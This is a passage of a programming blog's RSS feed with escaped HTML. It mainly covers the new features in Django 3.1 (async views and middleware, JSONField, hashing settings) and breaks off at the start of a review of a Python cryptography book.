good)&lt;/li&gt;&#xA;&lt;li&gt;Hatch&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you want to know more about pipenv functions you can visit its &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pipenv-es.readthedocs.io/es/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Since I started using Python I use virtualenv and pip to manage virtual environments. But while reading &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-for-professionals-review/&#34;&gt;Django for Professionals&lt;/a&gt;&#xA; I found out that there was a better tool than pip and virtualenv, called Pipenv (they didn&amp;rsquo;t get too complicated with the name). Pipenv has features that make it much more robust and easier to use than virtualenv. In this step-by-step Pipenv tutorial, I will explain the installation, usage, file handling and basic commands of this tool.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django 3.1 changes and new features: complete overview</title>
      <link>https://coffeebytes.dev/en/django/django-3.1-changes-and-new-features-complete-overview/</link>
      <pubDate>Tue, 04 Aug 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/django-3.1-changes-and-new-features-complete-overview/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;A few hours ago I was browsing &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://twitter.com/hello_wired&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;my twitter&lt;/a&gt;&#xA; and I found out that they just released Django 3.1, changes and new features of ; my favorite web framework. This new version has some interesting changes that I&amp;rsquo;ll talk about next.&lt;/p&gt;&#xA;&lt;h2 id=&#34;views-middleware-and-asynchronous-testing&#34;&gt;Views, Middleware and asynchronous testing&lt;/h2&gt;&#xA;&lt;p&gt;Guess who else is betting on asynchrony? With this new update Django incorporates asynchronism in views, middleware and tests. However Django&amp;rsquo;s ORM, cache and other pieces of code that connect to the internet do not have asynchronous support for this update, although the documentation states that support will be added for later versions.&lt;/p&gt;&#xA;&lt;h3 id=&#34;views&#34;&gt;views&lt;/h3&gt;&#xA;&lt;p&gt;Django will recognize the views we specify with &lt;em&gt;async def&lt;/em&gt; and will take care of executing them in an asynchronous context. To get the benefits you must use an ASGI server. On the other hand, it is also possible to use a WSGI server but there will be performance penalties.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; datetime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.http &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;current_datetime&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    now &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; datetime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;datetime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;now()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    html &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;It is now &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;%s&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;.&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; now&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; HttpResponse(html)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;middleware&#34;&gt;middleware&lt;/h3&gt;&#xA;&lt;p&gt;Django now allows combining both asynchronous and synchronous middleware. By default Django will assume that your middleware is synchronous. To modify this behavior you need to change the boolean attributes of your middleware factory:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sync_capable (default to True)&lt;/li&gt;&#xA;&lt;li&gt;async_capable (default to False)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Django now incorporates three decorators for your middleware factories. Also, if your middleware factory returns an asynchronous &lt;em&gt;get_response()&lt;/em&gt; the appropriate syntax must be used; async def.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sync_only_middleware()&lt;/li&gt;&#xA;&lt;li&gt;async_only_middleware()&lt;/li&gt;&#xA;&lt;li&gt;y sync_and_async_middleware()&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; asyncio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.utils.decorators &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; sync_and_async_middleware&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@sync_and_async_middleware&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;simple_middleware&lt;/span&gt;(get_response):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# One-time configuration and initialization goes here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; asyncio&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;iscoroutinefunction(get_response):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;middleware&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#78787e&#34;&gt;# Do something here!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; get_response(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;middleware&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#78787e&#34;&gt;# Do something here!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_response(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; middleware&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;tests&#34;&gt;tests&lt;/h3&gt;&#xA;&lt;p&gt;If you are testing from an asynchronous function you must use the asynchronous test client which is available as &lt;em&gt;django.test.AsyncClient&lt;/em&gt;, or as &lt;em&gt;self.async_client.&lt;/em&gt; This new &lt;em&gt;AsyncClient&lt;/em&gt; client has the same methods as the normal test client.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_my_thing&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;async_client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/some-url/&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;assertEqual(response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status_code, &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;json-compatible-fields&#34;&gt;JSON compatible fields&lt;/h2&gt;&#xA;&lt;p&gt;It&amp;rsquo;s about time for a JSON field! Django now includes a field for your models called &lt;em&gt;models.JSONField&lt;/em&gt; and a &lt;em&gt;forms.JSONfield&lt;/em&gt; field, which can be used in any compatible database backend. Both fields support custom JSON encoders and decoders.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ContactInfo&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;JSONField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContactInfo&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(data&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;John&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;cities&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;London&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Cambridge&amp;#39;&lt;/span&gt;],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;pets&amp;#39;&lt;/span&gt;: {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dogs&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Rufus&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Meg&amp;#39;&lt;/span&gt;]},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;search-in-json-fields&#34;&gt;Search in JSON fields&lt;/h3&gt;&#xA;&lt;p&gt;We can filter by this new field by searching for the contents of the JSON properties using double underscore notation.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContactInfo&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    data__name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;John&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Django gives us the ability to search for objects by the presence of specific keys at the top level of their JSON field content.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContactInfo&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    data__pets__has_key&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dogs&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Likewise, we can search for the presence or absence of certain elements in a property with a list value&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContactInfo&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    data__cities__contains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;London&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;default_hashing_algorithm-configuration&#34;&gt;DEFAULT_HASHING_ALGORITHM Configuration&lt;/h2&gt;&#xA;&lt;p&gt;With this new update we can specify the default hashing algorithm in the &lt;em&gt;settings.py&lt;/em&gt; file. This value will be used to encrypt cookies, password reset tokens in the admin panel, user sessions and in signatures created by django.core.signing.Signer and django.core.signing.dumps(). SHA-256 support is also added.&lt;/p&gt;&#xA;&lt;h2 id=&#34;other-new-features-of-django-31&#34;&gt;Other new features of Django 3.1&lt;/h2&gt;&#xA;&lt;p&gt;PASSWORD_RESET_TIMEOUT_DAYS is deprecated in favor of PASSWORD_RESET_TIMEOUT, this new configuration variable allows to define the number of seconds that a password reset link will be valid.&lt;/p&gt;&#xA;&lt;p&gt;You can now iterate through the &lt;em&gt;Paginator&lt;/em&gt; to get the pages.&lt;/p&gt;&#xA;&lt;p&gt;A link to clear all filters is added to the right side panel of the admin.&lt;/p&gt;&#xA;&lt;p&gt;The configuration variable CSRF_COOKIE_SAMESITE now allows &amp;lsquo;None&amp;rsquo; as a value. While HttpResponse.set_cookie() and HttpResponse.set_signed_cookie() allow using samesite=&amp;lsquo;None&amp;rsquo;.&lt;/p&gt;&#xA;&lt;p&gt;Remember that if you want to see the changes to the complete documentation you can go to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/releases/3.1/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;this link&lt;/a&gt;&#xA; to see the complete changes in Django 3.1 version&lt;/p&gt;&#xA;&lt;p&gt;If you want to improve your skills in Django let you here recommendations of two excellent books. Come in and check my reviews of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-for-professionals-review/&#34;&gt;Django for Professionals&lt;/a&gt;&#xA; and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-best-django-book-two-scoops-of-django-review/&#34;&gt;Two scoops of Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;A few hours ago I was browsing &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://twitter.com/hello_wired&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;my twitter&lt;/a&gt;&#xA; and I found out that they just released Django 3.1, changes and new features of ; my favorite web framework. This new version has some interesting changes that I&amp;rsquo;ll talk about next.&lt;/p&gt;&#xA;&lt;h2 id=&#34;views-middleware-and-asynchronous-testing&#34;&gt;Views, Middleware and asynchronous testing&lt;/h2&gt;&#xA;&lt;p&gt;Guess who else is betting on asynchrony? With this new update Django incorporates asynchronism in views, middleware and tests. However Django&amp;rsquo;s ORM, cache and other pieces of code that connect to the internet do not have asynchronous support for this update, although the documentation states that support will be added for later versions.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Learn Python through cryptography my review of Cracking codes with Python</title>
      <link>https://coffeebytes.dev/en/python/learn-python-through-cryptography-my-review-of-cracking-codes-with-python/</link>
      <pubDate>Thu, 16 Jul 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/learn-python-through-cryptography-my-review-of-cracking-codes-with-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Who hasn&amp;rsquo;t been tried to be convinced to invest in multi-level Bitcoin marketing? I have, but hopefully it will never happen to you. Thanks to Bitcoin, cryptography is on everyone&amp;rsquo;s lips lately, especially in the discourse of unscrupulous marketers, but cryptography is not recent, it has been in use for centuries; programming and coding only made it much faster and more efficient. The first time I read about cryptography was in the novel Cryptonomicon, where the idea of cryptocurrencies was already being discussed long before the appearance of Bitcoin. Today I come to tell you about Cracking Codes with Python, &lt;strong&gt;a book that uses cryptography to explain Python&lt;/strong&gt;. This book teaches you basic Python from scratch while giving an overview of cryptography through history, with everything and Alan Turing included.&lt;/p&gt;&#xA;&lt;p&gt;Also, if you want to learn more about this programming language &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/my-curated-best-resources-to-learn-python-programming-language/&#34;&gt;here&amp;rsquo;s my list of favorite resources to learn Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;If you have no idea what cryptography is, you can take this rather simple definition: cryptography is the practice of creating and understanding codes that keep information secret. Very much in the style of the movies &amp;ldquo;A brilliant mind&amp;rdquo;, &amp;ldquo;The imitation game&amp;rdquo; or the aforementioned Cryptonomicon.&lt;/p&gt;&#xA;&lt;h2 id=&#34;learn-python-with-cryptography&#34;&gt;Learn python with cryptography&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img 